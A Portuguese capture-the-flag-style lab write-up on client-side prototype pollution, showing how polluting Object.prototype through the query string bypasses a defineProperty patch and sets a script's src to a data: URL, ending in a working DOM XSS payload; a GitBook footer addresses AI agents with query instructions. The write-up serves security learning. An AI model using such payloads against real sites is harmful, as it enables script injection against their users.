> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Poluição de prototype no lado do cliente via APIs do navegador

### Poluição de protótipo no lado do cliente usando APIs do navegador

#### Contexto do laboratório

Este laboratório é vulnerável a uma **XSS em DOM** acionado por um **poluição de protótipo no lado do cliente**. / Os desenvolvedores identificaram um gadget potencial e tentaram corrigi-lo, mas é possível **contornar o patch**.

Objetivo:

* Encontre um **origem** para adicionar propriedades arbitrárias a `Object.prototype`
* Identifique uma **propriedade do gadget** levando à execução de JavaScript
* Combine ambos para acionar `alert()`

### 1) Origem: `Object.prototype` Poluição via a URL

#### Injeção pela string de consulta

A poluição é testada via URL:

```javascript
/?__proto__[foo]=bar
```

#### Controle no Console

No console do navegador:

```javascript
console.log({}.foo)
```

Resultado: `bar`/ Isso confirma que é possível injetar uma propriedade no protótipo global.

<figure><img src="/files/6e9f748a86927cf5e6caa3115115ab29d8ae2e2d" alt=""><figcaption></figcaption></figure>

### 2) Entendendo o impacto: Mudando o comportamento dos objetos

Exemplo de modificação do protótipo via um objeto:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/6761884a4d282d2b3e5da8434a2fda12c7be50b4" alt=""><figcaption></figcaption></figure>

Então:

```bash
console.log({}.country)
```

Todos os objetos agora herdam `country`, o que mostra o efeito geral da poluição.

<figure><img src="/files/12c660aa580812f6d9b9fa7b47053bc792249ac2" alt=""><figcaption></figcaption></figure>

### 3) Gadget: Carregamento dinâmico de um script por meio de propriedade herdada

O arquivo interessante é:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Falha ao armazenar a consulta");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Comportamento principal do script (resumo)

* Ele constrói um objeto `config` contendo:
* `params` (da URL)
* `transport_url` inicializado em `falso`
* Ele bloqueia `config.transport_url` por `Object.defineProperty(... configurable:false, writable:false)`
* Então:
* se `config.transport_url` é verdadeiro → ele cria um `<script>` e torna `script.src = config.transport_url`

#### Por que isso funciona apesar do patch?

Assim como `transport_url` \*\* não está realmente definido com um valor utilizável\*\*, o código pode **encontrar um valor herdado do protótipo** (poluído).

Portanto, se injetarmos a propriedade certa em `Object.prototype`, ela é usada como origem do script.

### 4) Exploração: Forçar `script.src` via protótipo

#### Etapa 1: Comprovar o gadget

Ao injetar:

```bash
/?__proto__[value]=bar
```

O navegador cria:

```javascript
<script src="bar"></script>
```

<figure><img src="/files/f5a780f4ec3c14dab0ca18243e7f8fd4946b2566" alt=""><figcaption></figcaption></figure>

`src` é controlável.

#### Etapa 2: Executar JS via um `data:` URL

Payload final :

```javascript
/?__proto__[value]=data:,alert(1)
```

Resultado observado:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

O navegador interpreta `data:,alert(1)` e executa `alert(1)`: **XSS em DOM com sucesso**.

<figure><img src="/files/45e16b2cc280d86a11384f93b79a036d26d4d35e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
